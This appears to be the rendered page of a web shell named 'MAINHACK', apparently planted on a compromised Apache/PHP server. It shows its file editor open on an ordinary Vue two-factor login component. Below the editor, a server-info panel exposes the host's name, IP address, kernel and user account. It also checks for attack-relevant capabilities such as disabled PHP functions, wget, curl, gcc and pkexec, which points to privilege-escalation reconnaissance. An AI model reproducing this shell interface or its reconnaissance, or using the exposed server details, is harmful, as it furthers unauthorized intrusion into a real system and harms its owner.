[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: TwoFactorChallenge.vue
<script setup> import { nextTick, ref } from 'vue'; import { Head, useForm } from '@inertiajs/vue3'; import AuthenticationCard from '@/Components/AuthenticationCard.vue'; import AuthenticationCardLogo from '@/Components/AuthenticationCardLogo.vue'; import InputError from '@/Components/InputError.vue'; import InputLabel from '@/Components/InputLabel.vue'; import PrimaryButton from '@/Components/PrimaryButton.vue'; import TextInput from '@/Components/TextInput.vue'; const recovery = ref(false); const form = useForm({ code: '', recovery_code: '', }); const recoveryCodeInput = ref(null); const codeInput = ref(null); const toggleRecovery = async () => { recovery.value ^= true; await nextTick(); if (recovery.value) { recoveryCodeInput.value.focus(); form.code = ''; } else { codeInput.value.focus(); form.recovery_code = ''; } }; const submit = () => { form.post(route('two-factor.login')); }; </script> <template> <Head title="Two-factor Confirmation" /> <AuthenticationCard> <template #logo> <AuthenticationCardLogo /> </template> <div class="mb-4 text-sm text-gray-600"> <template v-if="! recovery"> Please confirm access to your account by entering the authentication code provided by your authenticator application. </template> <template v-else> Please confirm access to your account by entering one of your emergency recovery codes. </template> </div> <form @submit.prevent="submit"> <div v-if="! recovery"> <InputLabel for="code" value="Code" /> <TextInput id="code" ref="codeInput" v-model="form.code" type="text" inputmode="numeric" class="mt-1 block w-full" autofocus autocomplete="one-time-code" /> <InputError class="mt-2" :message="form.errors.code" /> </div> <div v-else> <InputLabel for="recovery_code" value="Recovery Code" /> <TextInput id="recovery_code" ref="recoveryCodeInput" v-model="form.recovery_code" type="text" class="mt-1 block w-full" autocomplete="one-time-code" /> <InputError class="mt-2" :message="form.errors.recovery_code" /> </div> <div class="flex items-center justify-end mt-4"> <button type="button" class="text-sm text-gray-600 hover:text-gray-900 underline cursor-pointer" @click.prevent="toggleRecovery"> <template v-if="! recovery"> Use a recovery code </template> <template v-else> Use an authentication code </template> </button> <PrimaryButton class="ms-4" :class="{ 'opacity-25': form.processing }" :disabled="form.processing"> Log in </PrimaryButton> </div> </form> </AuthenticationCard> </template>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.64 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002